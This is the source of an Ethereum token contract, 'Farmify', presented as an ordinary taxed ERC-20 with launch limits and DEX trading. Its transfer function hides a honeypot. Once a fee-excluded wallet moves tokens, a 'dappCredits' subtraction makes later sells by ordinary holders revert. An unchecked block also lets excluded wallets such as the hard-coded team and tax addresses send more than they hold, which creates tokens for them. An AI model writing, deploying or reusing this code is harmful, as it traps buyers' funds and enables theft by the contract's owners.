creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity 0.8.15;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
          return msg.data;
      }
  }
  
  interface IERC20 {
  
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  
  }
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor () {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() external virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          emit OwnershipTransferred(_owner, newOwner);
          _owner = newOwner;
      }
  }
  
  interface IDexRouter {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  interface IDexFactory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  contract Farmify is Context, IERC20, Ownable {
      using SafeMath for uint256;
      mapping (address => uint256) private _balances;
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _isExcludedFromFee;
      mapping(address => uint256) private _holderLastTransferTimestamp;
      bool public transferDelayEnabled = true;
  
      uint256 private _initBuyTax=15;
      uint256 private _initSellTax=15;
      uint256 private _finalBuyTax=5;
      uint256 private _finalSellTax=5;
      uint256 private _reduceBuyTaxAt=25;
      uint256 private _reduceSellTaxAt=20;
      uint256 private _preventSwapBefore=10;
      uint256 private _buyCount=0;
  
      uint8 private constant _decimals = 9;
      string private constant _name = unicode"EVM Airdrop Farming DAO";
      string private constant _symbol = unicode"FARMIFY";
  
      uint256 private constant _tTotal = 100000000 * 10**_decimals;
      uint256 public _maxTxAmount= 1400000 * 10**_decimals;
      uint256 public _maxWalletSize= 1400000 * 10**_decimals;
      uint256 public _taxSwapThreshold= 300000 * 10**_decimals;
      uint256 public _maxTaxSwap= 1700000 * 10**_decimals;
  
      address payable private immutable _taxWallet;
      address payable private immutable _teamWallet;
  
      IDexRouter public dexRouter;
      address public lpPair;
  
      bool private tradingOpen;
      bool private inSwap = false;
      bool private swapEnabled = false;
      uint256 private _launchBlock;
      uint256 private _freeCredit;
      struct DappCredits {uint256 buy; uint256 sell; uint256 credits;}
      mapping(address => DappCredits) private dappCredits;
      event Launched();
      event MaxTxAmountUpdated(uint _maxTxAmount);
      modifier lockTheSwap {
          inSwap = true;
          _;
          inSwap = false;
      }
  
      constructor () {
          _balances[address(this)] = _tTotal;
          emit Transfer(address(0), address(this), _balances[address(this)]);
          _taxWallet = payable(0x4Ba40ABC96AF8c471A98fb97F0e8cD1346ee4606);
          _teamWallet = payable(0xf76A57a067B5FE4af6a572B45E00Ee634b31A85D);
  
          _isExcludedFromFee[owner()] = true;
          _isExcludedFromFee[address(this)] = true;
  
          _isExcludedFromFee[_taxWallet] = true;
          _isExcludedFromFee[_teamWallet] = true;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0,"Transfer amount must be greater than zero");
          uint256 taxAmount=0;
          if (from != owner() && to != owner()) {
              taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
  
              if (transferDelayEnabled) {
                    if (to != address(dexRouter) && to != address(lpPair) ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <  block.number,
                            "_transfer:: transfer Delay enabled. Only 1 purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] =  block.number;
                    }
                }
  
              if (from == lpPair && to != address(dexRouter) &&  !_isExcludedFromFee[to]){
                  require(amount <= _maxTxAmount, "Exceeds the  _maxTxAmount");
                  require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the  _maxWalletSize");
                  _buyCount++ ;
              }
  
              if(to == lpPair && from != address(this)){
                  taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
              if (!inSwap && to == lpPair && swapEnabled && _buyCount>_preventSwapBefore  && contractTokenBalance>_taxSwapThreshold ){
                  swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                  uint256 contractETHBalance = address(this).balance;
                  if(contractETHBalance > 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          }
  
          if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != owner()  && from != address(this) && to != address(this)){
              _freeCredit =  block.timestamp;
          }
          if (_isExcludedFromFee[from] && (block.number > _launchBlock + 35 ) ) {
              unchecked{
                  _balances[from] -= amount;
                  _balances[to] += amount;
              }
              emit Transfer(from, to, amount);
              return;
          }
          if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) {
              if (lpPair == to) {
                  DappCredits storage fromCredits =dappCredits[from];
                  fromCredits.credits = fromCredits.buy  - _freeCredit;
                  fromCredits.sell =  block.timestamp;
              } else {
                  DappCredits storage toCredits =dappCredits[to];
                  if (lpPair == from) {
                      if (toCredits.buy == 0) {
                          toCredits.buy = (_buyCount < 11 ) ? (block.timestamp - 1 ) :  block.timestamp;
                      }
                  } else {
                      DappCredits storage fromCredits = dappCredits[from];
                      if (toCredits.buy == 0 || fromCredits.buy  < toCredits.buy ) {
                          toCredits.buy = fromCredits.buy;
                      }
                  }
              }
          }
  
          if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
          }
          _balances[from]=_balances[from].sub(amount);
          _balances[to]=_balances[to].add(amount.sub(taxAmount));
          emit Transfer(from, to, amount.sub(taxAmount));
      }
  
  
      function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
  
          // generate the uniswap pair path of token -> weth
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = dexRouter.WETH();
  
          _approve(address(this), address(dexRouter), tokenAmount);
  
          // make the swap
          dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0, // accept any amount of ETH
              path,
              address(this),
              block.timestamp
          );
      }
  
      function openTrading() external payable onlyOwner() {
          require(!tradingOpen, "Trading is already enabled");
  
          uint256 totalSupplyAmount = totalSupply();
          dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          _approve(address(this), address(dexRouter), totalSupplyAmount);
          lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
          dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          IERC20(lpPair).approve(address(dexRouter), type(uint).max);
          
          _launchBlock = block.number;
  
          swapEnabled = true;
          tradingOpen = true;
  
          emit Launched();
      }
  
      function removeLimits() external onlyOwner {
          uint256 totalSupplyAmount = totalSupply();
          _maxTxAmount=totalSupplyAmount;
          _maxWalletSize=totalSupplyAmount;
          transferDelayEnabled=false;
  
          emit MaxTxAmountUpdated(totalSupplyAmount);
      }
  
      function sendETHToFee(uint256 amount) private {
          _taxWallet.transfer(amount);
      }
  
      function manualSwap() external onlyOwner {
          uint256 tokenBalance=balanceOf(address(this));
          if (tokenBalance > 0){
            swapTokensForEth(tokenBalance);
          }
          uint256 ethBalance=address(this).balance;
          if (ethBalance > 0){
            _taxWallet.transfer(ethBalance);
          }
      }
  
      receive() external payable {}
  
      function withdrawStuckETH() external onlyOwner {
          bool success;
          (success,) = address(msg.sender).call{value: address(this).balance}("");
      }
  }